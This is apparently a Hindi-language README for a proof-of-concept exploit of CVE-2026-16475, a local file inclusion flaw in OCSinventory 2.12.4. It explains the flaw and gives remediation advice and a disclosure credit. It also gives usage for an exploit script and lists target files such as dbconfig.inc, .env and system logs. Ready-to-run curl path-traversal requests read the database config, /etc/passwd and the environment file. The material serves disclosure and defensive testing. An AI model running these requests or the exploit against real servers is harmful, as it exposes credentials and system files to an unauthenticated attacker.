CVE-2026-16475 - OCSinventory LFI PoC

OCSinventory 2.12.4 में लोकल फ़ाइल इन्क्लूज़न भेद्यता

भेद्यता विवरण

CVE ID: CVE-2026-16475
CVSS स्कोर: 6.9 (मध्यम)
CWE: CWE-98 (PHP प्रोग्राम में Include/Require स्टेटमेंट के लिए फ़ाइलनाम का अनुचित नियंत्रण)
प्रभावित संस्करण: OCSinventory 2.12.4
स्थिति: नवीनतम संस्करणों में पैच किया गया

विवरण

/ajax/teledeployoptions.php एंडपॉइंट में लोकल फ़ाइल इन्क्लूज़न (LFI) भेद्यता मौजूद है, जो डायनामिक XML फ़ाइल इन्क्लूज़न ऑपरेशन में उपयोग से पहले linkedoptions पैरामीटर के अनुचित सैनिटाइज़ेशन के कारण होती है।

यह एंडपॉइंट XML कॉन्फ़िगरेशन फ़ाइलें लोड करने के लिए डिज़ाइन किया गया है, लेकिन यह linkedoptions पैरामीटर को ठीक से मान्य (validate) नहीं कर पाता, जिससे पाथ ट्रैवर्सल (path traversal) हमले संभव हो जाते हैं।

एक बिना प्रमाणीकरण वाला रिमोट हमलावर इस भेद्यता का दोहन कर सकता है:

• एप्लिकेशन निर्देशिका के भीतर मनमानी XML फ़ाइलों को इन्क्लूड करना और एक्सेस करना
• XML पार्सर त्रुटि संदेशों के माध्यम से गैर-XML फ़ाइलें पढ़ना
• आंतरिक एप्लिकेशन संसाधनों के बारे में संवेदनशील जानकारी उजागर करना
• सिस्टम फ़ाइलों की गणना करना और OS फ़िंगरप्रिंटिंग करना

प्रभाव

• गोपनीयता: HIGH - मनमानी फ़ाइलों तक पहुँच (कॉन्फ़िग फ़ाइलें, सोर्स कोड, लॉग, सिस्टम फ़ाइलें)
• अखंडता: NONE
• उपलब्धता: NONE
• प्रमाणीकरण आवश्यक: NO
• उपयोगकर्ता सहभागिता: NO

उपयोग

पूर्वापेक्षाएँ

pip install -r requirements.txt

पायथन संस्करण (अनुशंसित)

python3 exploit.py -u http://target.com -v

विकल्प:

• -u, --url - लक्ष्य URL (आवश्यक)
• -v, --verbose - विस्तृत (verbose) आउटपुट
• -o, --output - सफल रीड्स को फ़ाइल में सहेजें

उदाहरण:

python3 exploit.py -u http://ocs.example.com -v -o results.txt

बैश संस्करण

./lfi_test.sh

स्क्रिप्ट में BASE_URL वेरिएबल संपादित करें:

BASE_URL="http://target.com/ajax/teledeployoptions.php"

सूचीबद्ध लक्ष्य

• एप्लिकेशन कॉन्फ़िग फ़ाइलें (dbconfig.inc, .env, config.inc)
• XML कार्य फ़ाइलें (bashscriptopt, executableopt, msiapplicationopt)
• सिस्टम लॉग (apache2, mysql, auth)
• सिस्टम फ़ाइलें (/proc/, /etc/)
• एप्लिकेशन रहस्य (composer, package files, .htaccess)

दोहन उदाहरण

# Read database config
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../dbconfig.inc"

# Read passwd file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../../../../../../etc/passwd"

# Read environment file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../.env"

उपचार

उपयोगकर्ताओं के लिए:

• OCSinventory को तुरंत नवीनतम संस्करण में अपडेट करें
• डायरेक्ट्री ट्रैवर्सल पैटर्न को ब्लॉक करने के लिए WAF नियम लागू करें

डेवलपर्स के लिए:

• पाथ ट्रैवर्सल रोकने के लिए basename() या समान फ़ंक्शन का उपयोग करें
• फ़ाइल ऑपरेशन से पहले सभी उपयोगकर्ता इनपुट को मान्य और सैनिटाइज़ करें
• उचित एक्सेस नियंत्रण लागू करें
• मान्य फ़ाइल पथों के लिए allow-list का उपयोग करें

संदर्भ

• INCIBE सलाह (ES) - आधिकारिक CVE समन्वय प्राधिकरण
• OCS Inventory GitHub
• OWASP Path Traversal
• CWE-98 परिभाषा

नोट: CVE-2026-16475 का समन्वय INCIBE के माध्यम से किया गया है और हो सकता है कि यह अभी तक NVD में अनुक्रमित न हुआ हो। आधिकारिक जानकारी के लिए INCIBE स्रोत देखें।

कानूनी

केवल शैक्षिक और अधिकृत परीक्षण के लिए

पूर्ण कानूनी नोटिस के लिए DISCLAIMER.md देखें।

लेखक

Adrián Ferrer Tarí

जिम्मेदार प्रकटीकरण INCIBE के माध्यम से समन्वित